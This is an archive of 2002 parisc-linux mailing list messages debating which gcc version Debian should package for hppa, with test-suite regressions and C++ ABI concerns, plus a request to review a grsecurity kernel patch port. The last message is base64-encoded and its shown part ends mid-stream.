List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14708

> While preparing gcc-3.1 packages I noticed many eh-related regressions
> fixed in the trunk, when dwarf2 support was added. With Dave's
> guidance I made a diff of the pa subdirectory from the trunk and
> applied it to the branch. Although many FAILS are gone, there are some
> new (diff below).

In general, option b has much better c++ results than a).  The c++
test results are essentially identical to those with 3.2.  However,
compared to the results that I have been posting for 3.2, we have
the following new failures:

gcc.c-torture/execute/ieee/rbug.c

g77.f-torture/execute/19990313-[0-3].f

20_util/allocator_members.cc execution test
22_locale/codecvt_members_char_char.cc execution test
22_locale/codecvt_members_wchar_t_char.cc execution test
22_locale/ctor_copy_dtor.cc execution test
22_locale/ctype_members_wchar_t.cc execution test
27_io/ostream_inserter_arith.cc execution test

It would probably be useful to compare test results for b and c.  It may
be that some of the above are glibc or system problems.  I am fairly
certain c will build on all platforms.  However, I know that there is
one c regression under hppa near the beginning of march.  There is another
at the beginning of May.

As a matter of release philosophy, I don't much like hybrids.  Option
b adds another permutation to maintain even if the new c++ capabilities
are very tempting.  My focus will be 3.2.  3.1 will only get small bug
fixes.  If we keep to the main releases, it much easier to verify and
resolve bugs.

So, I would say use a as the default.  This is the conservative choice
and well tested across a broad range of systems.  Option a can easily be
used to build c.  Maybe you could include c as well for experimental
development and building c++ packages that need the dw2 support under
parisc-linux.

> I would like to get feedback, on which alternative to base the gcc-3.1
> packages:
> 
> a) 3.1 as to be released (without dwarf2 support)
> b) 3.1 + dwarf2 support
> c) 3.2 CVS 20020429 plus/minus patches
> 
> Constraints: Make gcc-3.1 the default compiler for all Debian
> architectures in the near future, provided it builds on all of them.
> 
> a) is the default option to go with.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sat, 4 May 2002 13:54:07 -0400 (EDT)
Lines: 21
Approved: news@gmane.org
Message-ID: <200205041754.g44Hs8it027911__33602.1145027646$1416621274$gmane$org@hiauly1.hia.nrc.ca>
References: <20020504165740.GN30370@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621274 7002 80.91.229.3 (22 Nov 2014 01:54:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:34 +0000 (UTC)
Cc: doko@cs.tu-berlin.de, parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
To: tausq@debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May  4 11:54:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C6E44837
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 May 2002 11:54:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g44Hs8FN027912;
	Sat, 4 May 2002 13:54:09 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g44Hs8it027911;
	Sat, 4 May 2002 13:54:08 -0400 (EDT)
In-Reply-To: <20020504165740.GN30370@tausq.org> from "Randolph Chung" at May 4, 2002 09:57:40 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14709

> i am concerned that between gcc versions, there are often changes in the
> C++ (and maybe others) ABI, and moving all of our packages to the new 
> version is likely going to be a painful process. If the g++-3.2 ABI is
> already frozen (?) and we move directly to it then we may save ourselves
> some trouble with doing the repackaging multiple times.

I know that there are some small ABI changes between libstdc++ 3.1 and
3.2.  This got mentioned in discussion of a PR that I filed concerning
the library under hpux.  Under hpux, all applications that were linked
against the 3.0 library needed to be relinked when the 3.0.1 library
was installed :-(

I still haven't figured out why libstdc++ needs to be installed prior
to running the testsuite.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: martin@v.loewis.de (Martin v. Loewis)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: 05 May 2002 08:54:06 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <m38z6z2igh.fsf__10125.3534121954$1416621274$gmane$org@mira.informatik.hu-berlin.de>
References: <15571.50195.280071.792305@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621274 7007 80.91.229.3 (22 Nov 2014 01:54:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 00:54:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id C11D1482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 May 2002 00:54:19 -0600 (MDT)
Original-Received: from fwd03.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 174FuP-00087y-03; Sun, 05 May 2002 08:54:13 +0200
Original-Received: from mira.informatik.hu-berlin.de (03047300346-0001@[217.232.36.53]) by fmrl03.sul.t-online.com
	with esmtp id 174FuG-0URCeOC; Sun, 5 May 2002 08:54:04 +0200
Original-Received: from mira.informatik.hu-berlin.de (localhost [127.0.0.1])
	by mira.informatik.hu-berlin.de (8.12.2/8.11.6/SuSE Linux 0.5) with ESMTP id g456s8aJ002057;
	Sun, 5 May 2002 08:54:08 +0200
Original-Received: (from martin@localhost)
	by mira.informatik.hu-berlin.de (8.12.2/8.12.2/Submit) id g456s78q002054;
	Sun, 5 May 2002 08:54:08 +0200
X-Authentication-Warning: mira.informatik.hu-berlin.de: martin set sender to martin@v.loewis.de using -f
In-Reply-To: <15571.50195.280071.792305@gargle.gargle.HOWL>
Original-Lines: 15
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.1
X-Sender: 03047300346-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14710

Matthias Klose <doko@cs.tu-berlin.de> writes:

> I would like to get feedback, on which alternative to base the gcc-3.1
> packages:
> 
> a) 3.1 as to be released (without dwarf2 support)

As Redhat has demonstrated in the past, it is highly desirable that
the distributed gcc is based on a released gcc as close as possible.
If there are serious problems in gcc 3.1-as-released, work with gcc
maintainers to fix them in 3.1.1.

Regards,
Martin




From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Jacobowitz <dan@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sun, 5 May 2002 02:56:53 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20020505065653.GA12097__15625.2724621028$1416621274$gmane$org@nevyn.them.org>
References: <15571.50195.280071.792305@gargle.gargle.HOWL> <m38z6z2igh.fsf@mira.informatik.hu-berlin.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621274 7012 80.91.229.3 (22 Nov 2014 01:54:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:34 +0000 (UTC)
Cc: Matthias Klose <doko@cs.tu-berlin.de>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org
To: "Martin v. Loewis" <martin@v.loewis.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 00:57:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from nevyn.them.org (NEVYN.RES.CMU.EDU [128.2.145.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id 368124864
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 May 2002 00:57:06 -0600 (MDT)
Original-Received: from drow by nevyn.them.org with local (Exim 3.35 #1 (Debian))
	id 174Fwz-00039U-00; Sun, 05 May 2002 02:56:53 -0400
Mail-Followup-To: "Martin v. Loewis" <martin@v.loewis.de>,
	Matthias Klose <doko@cs.tu-berlin.de>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org
Content-Disposition: inline
In-Reply-To: <m38z6z2igh.fsf@mira.informatik.hu-berlin.de>
User-Agent: Mutt/1.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14711

On Sun, May 05, 2002 at 08:54:06AM +0200, Martin v. Loewis wrote:
> Matthias Klose <doko@cs.tu-berlin.de> writes:
> 
> > I would like to get feedback, on which alternative to base the gcc-3.1
> > packages:
> > 
> > a) 3.1 as to be released (without dwarf2 support)
> 
> As Redhat has demonstrated in the past, it is highly desirable that
> the distributed gcc is based on a released gcc as close as possible.
> If there are serious problems in gcc 3.1-as-released, work with gcc
> maintainers to fix them in 3.1.1.

Completely seconded.  I want the collection of patches that
distributors ship with GCC to shrink over time, not grow...

-- 
Daniel Jacobowitz                           Carnegie Mellon University
MontaVista Software                         Debian GNU/Linux Developer



From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] grsecurity patch 2.4.18
Date: Sun, 5 May 2002 13:28:53 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <20020505112852.GA22017__17044.9309786365$1416621275$gmane$org@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="FL5UXtIhxfXey3p5"
X-Trace: ger.gmane.org 1416621275 7014 80.91.229.3 (22 Nov 2014 01:54:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:35 +0000 (UTC)
Cc: debian-hppa@lists.debian.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 05:29:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout10.sul.t-online.com (mailout10.sul.t-online.com [194.25.134.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6118B4861
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 May 2002 05:29:12 -0600 (MDT)
Original-Received: from fwd00.sul.t-online.de 
	by mailout10.sul.t-online.com with smtp 
	id 174KCS-0001AT-07; Sun, 05 May 2002 13:29:08 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[217.229.5.5]) by fmrl00.sul.t-online.com
	with esmtp id 174KCJ-1Ws9B2C; Sun, 5 May 2002 13:28:59 +0200
Original-Received: from nikita.ath.cx (localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.2/Debian -5) with ESMTP id g45BSu7a022085;
	Sun, 5 May 2002 13:28:57 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.2/Debian -5) id g45BSsWt022082;
	Sun, 5 May 2002 13:28:54 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14712

--FL5UXtIhxfXey3p5
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

hi, could someone please take a look at the following patch:

http://nikita.ath.cx/users/pappy/parisc/grsec/2418grsec.patch

it is a modified www.grsecurity.net/grsecurity-1.9.4-2.4.18.patch

i took kernel-source-2.4.18-hppa.tar from debian and tried to make the
grsecurity patch work with this hppa tree.

please tell me if i made any mistakes in making it fit (especially in
the fs/exec.c and mm.h section, where assumptions about the stack are
being made, i am a beginner :-)

thank you in advance,

alex

--=20
pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <papp=
y@nikita.ath.cx>
          Key fingerprint =3D  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7=
F D6  05 E1 A8 0C

--FL5UXtIhxfXey3p5
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE81Rdzijt/1gXhqAwRAlQtAJ9B8vavisT3AHc1gpTkkiJj5gvDvwCffcIz
lui6TBTpvNrHsGKx/ClajTs=
=RXKt
-----END PGP SIGNATURE-----

--FL5UXtIhxfXey3p5--



From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sun, 5 May 2002 14:30:04 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <15573.9676.353830.793928__13583.8298629553$1416621275$gmane$org@gargle.gargle.HOWL>
References: <15571.50195.280071.792305@gargle.gargle.HOWL>
	<m38z6z2igh.fsf@mira.informatik.hu-berlin.de>
	<20020505065653.GA12097@nevyn.them.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621275 7016 80.91.229.3 (22 Nov 2014 01:54:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:35 +0000 (UTC)
Cc: "Martin v. Loewis" <martin@v.loewis.de>,
	parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org
To: Daniel Jacobowitz <dan@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 06:34:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A474486B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 May 2002 06:34:44 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id OAA07726;
	Sun, 5 May 2002 14:30:09 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g45CU4H09150;
	Sun, 5 May 2002 14:30:04 +0200 (MEST)
In-Reply-To: <20020505065653.GA12097@nevyn.them.org>
X-Mailer: VM 7.03 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14713

Daniel Jacobowitz writes:
> On Sun, May 05, 2002 at 08:54:06AM +0200, Martin v. Loewis wrote:
> > Matthias Klose <doko@cs.tu-berlin.de> writes:
> > 
> > > I would like to get feedback, on which alternative to base the gcc-3.1
> > > packages:
> > > 
> > > a) 3.1 as to be released (without dwarf2 support)
> > 
> > As Redhat has demonstrated in the past, it is highly desirable that
> > the distributed gcc is based on a released gcc as close as possible.
> > If there are serious problems in gcc 3.1-as-released, work with gcc
> > maintainers to fix them in 3.1.1.
> 
> Completely seconded.  I want the collection of patches that
> distributors ship with GCC to shrink over time, not grow...

I see, I was unclear, the alternatives were hppa specific, I didn't
even think of using anything else than the release ...



From - Thu Nov 08 21:22:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc-3.? compiler for hppa (3.1, 3.1+dwarf2, 3.2cvs20020429?)
Date: Sun, 5 May 2002 14:41:53 +0200
Lines: 217
Approved: news@gmane.org
Message-ID: <15573.10385.229145.132477__2627.6676836007$1416621275$gmane$org@gargle.gargle.HOWL>
References: <15571.50195.280071.792305@gargle.gargle.HOWL>
	<200205041747.g44Hlc70026886@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: base64
X-Trace: ger.gmane.org 1416621275 7018 80.91.229.3 (22 Nov 2014 01:54:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May  5 06:48:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6B348486F
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 May 2002 06:48:03 -0600 (MDT)
Original-Received: from bolero.cs.tu-berlin.de (daemon@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id OAA09032;
	Sun, 5 May 2002 14:42:04 +0200 (MET DST)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.11.6+Sun/8.9.3) id g45CfrA10460;
	Sun, 5 May 2002 14:41:53 +0200 (MEST)
In-Reply-To: <200205041747.g44Hlc70026886@hiauly1.hia.nrc.ca>
X-Mailer: VM 7.03 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14714

Sm9obiBEYXZpZCBBbmdsaW4gd3JpdGVzOg0KPiA+IFdoaWxlIHByZXBhcmluZyBnY2MtMy4x
IHBhY2thZ2VzIEkgbm90aWNlZCBtYW55IGVoLXJlbGF0ZWQgcmVncmVzc2lvbnMNCj4gPiBm
aXhlZCBpbiB0aGUgdHJ1bmssIHdoZW4gZHdhcmYyIHN1cHBvcnQgd2FzIGFkZGVkLiBXaXRo
IERhdmUncw0KPiA+IGd1aWRhbmNlIEkgbWFkZSBhIGRpZmYgb2YgdGhlIHBhIHN1YmRpcmVj
dG9yeSBmcm9tIHRoZSB0cnVuayBhbmQNCj4gPiBhcHBsaWVkIGl0IHRvIHRoZSBicmFuY2gu
IEFsdGhvdWdoIG1hbnkgRkFJTFMgYXJlIGdvbmUsIHRoZXJlIGFyZSBzb21lDQo+ID4gbmV3
IChkaWZmIGJlbG93KS4NCj4gDQo+IEluIGdlbmVyYWwsIG9wdGlvbiBiIGhhcyBtdWNoIGJl
dHRlciBjKysgcmVzdWx0cyB0aGFuIGEpLiAgVGhlIGMrKw0KPiB0ZXN0IHJlc3VsdHMgYXJl
IGVzc2VudGlhbGx5IGlkZW50aWNhbCB0byB0aG9zZSB3aXRoIDMuMi4gIEhvd2V2ZXIsDQo+
IGNvbXBhcmVkIHRvIHRoZSByZXN1bHRzIHRoYXQgSSBoYXZlIGJlZW4gcG9zdGluZyBmb3Ig
My4yLCB3ZSBoYXZlDQo+IHRoZSBmb2xsb3dpbmcgbmV3IGZhaWx1cmVzOg0KPiANCj4gZ2Nj
LmMtdG9ydHVyZS9leGVjdXRlL2llZWUvcmJ1Zy5jDQo+IA0KPiBnNzcuZi10b3J0dXJlL2V4
ZWN1dGUvMTk5OTAzMTMtWzAtM10uZg0KPiANCj4gMjBfdXRpbC9hbGxvY2F0b3JfbWVtYmVy
cy5jYyBleGVjdXRpb24gdGVzdA0KPiAyMl9sb2NhbGUvY29kZWN2dF9tZW1iZXJzX2NoYXJf
Y2hhci5jYyBleGVjdXRpb24gdGVzdA0KPiAyMl9sb2NhbGUvY29kZWN2dF9tZW1iZXJzX3dj
aGFyX3RfY2hhci5jYyBleGVjdXRpb24gdGVzdA0KPiAyMl9sb2NhbGUvY3Rvcl9jb3B5X2R0
b3IuY2MgZXhlY3V0aW9uIHRlc3QNCj4gMjJfbG9jYWxlL2N0eXBlX21lbWJlcnNfd2NoYXJf
dC5jYyBleGVjdXRpb24gdGVzdA0KPiAyN19pby9vc3RyZWFtX2luc2VydGVyX2FyaXRoLmNj
IGV4ZWN1dGlvbiB0ZXN0DQoNCnRoZSBsaWJzdGRjIGZhaWx1cmVzIGFyZSBubyByZWdyZXNz
aW9ucyBjb21wYXJlZCB0byBhICgzLjEpLg0KDQo+IEl0IHdvdWxkIHByb2JhYmx5IGJlIHVz
ZWZ1bCB0byBjb21wYXJlIHRlc3QgcmVzdWx0cyBmb3IgYiBhbmQgYy4gIEl0IG1heQ0KPiBi
ZSB0aGF0IHNvbWUgb2YgdGhlIGFib3ZlIGFyZSBnbGliYyBvciBzeXN0ZW0gcHJvYmxlbXMu
DQoNCnRoaXMgaXMgYSBkaWZmIG9mIHRoZSB0ZXN0IHJlc3VsdHMgZm9yIGIgYW5kIGMuIGcr
KyBpcyB3b3JzZSwgdGhlDQpyZWdyZXNzaW9ucyBmb3IgZzc3IGFuZCBnY2MgYXJlIG5ldyB0
ZXN0IGNhc2VzIGluIHRoZSB0cnVuay4gT25lIG5ldw0KZ2NjIHJlZ3Jlc3Npb246DQoNCkZB
SUw6IGdjYy5jLXRvcnR1cmUvY29tcGlsZS8yMDAwMDUwNC0xLmMsICAtTzEgIA0KDQotLS0g
Li4vLi4vMy4xL3RyL3Rlc3Qtc3VtbWFyeQlGcmkgTWF5ICAzIDEyOjUxOjQ2IDIwMDINCisr
KyB0ZXN0LXN1bW1hcnkJU3VuIE1heSAgNSAxMzo1OTozNCAyMDAyDQpAQCAtMSwxMSArMSwx
NSBAQA0KLUxBU1RfVVBEQVRFRDogVGh1IE1heSAgMiAyMTo1NDoyMCBVVEMgMjAwMg0KLQ0K
K0xBU1RfVVBEQVRFRDogDQogTmF0aXZlIGNvbmZpZ3VyYXRpb24gaXMgaHBwYS11bmtub3du
LWxpbnV4LWdudQ0KIA0KIAkJPT09IGcrKyB0ZXN0cyA9PT0NCiANCiANCiBSdW5uaW5nIHRh
cmdldCB1bml4DQorRkFJTDogZysrLmRnL3RlbXBsYXRlL2ZyaWVuZDYuQyAodGVzdCBmb3Ig
ZXhjZXNzIGVycm9ycykNCitGQUlMOiBnKysuZGcvdGVtcGxhdGUvdHlwZW5hbWUyLkMgKHRl
c3QgZm9yIGV4Y2VzcyBlcnJvcnMpDQorRkFJTDogZysrLmRnL3dhcm4vV3VudXNlZC0yLkMg
ICh0ZXN0IGZvciB3YXJuaW5ncywgbGluZSA1KQ0KK0ZBSUw6IGcrKy5kZy93YXJuL2VmZmMx
LkMgICh0ZXN0IGZvciB3YXJuaW5ncywgbGluZSAxMykNCitGQUlMOiBnKysuZGcvd2Fybi9l
